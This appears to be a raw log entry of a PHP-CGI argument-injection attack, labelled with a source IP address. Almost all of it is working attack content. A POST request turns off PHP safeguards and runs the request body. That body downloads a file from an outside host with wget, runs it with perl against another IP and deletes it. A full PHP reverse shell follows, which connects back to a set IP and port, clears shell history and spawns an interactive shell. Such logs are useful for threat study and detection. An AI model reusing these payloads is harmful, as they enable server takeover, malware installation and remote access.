91.121.105.21 php injection

php injection
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POST/cgi-bin/php5?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n   HTTP/1.1

<?php system("wget 194.60.242.251/minispeedtest/speedtest/.z/hb/php06 -O /tmp/.0e1bc.log;perl /tmp/.0e1bc.log 77.68.37.172;rm -rf /tmp/.0e1bc.log &"); ?>set_time_limit(0); $ip= '91.121.105.21'; $port = 22; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); } if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise."); } chdir("/"); umask(0); $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string "; } } exit(1); ?>


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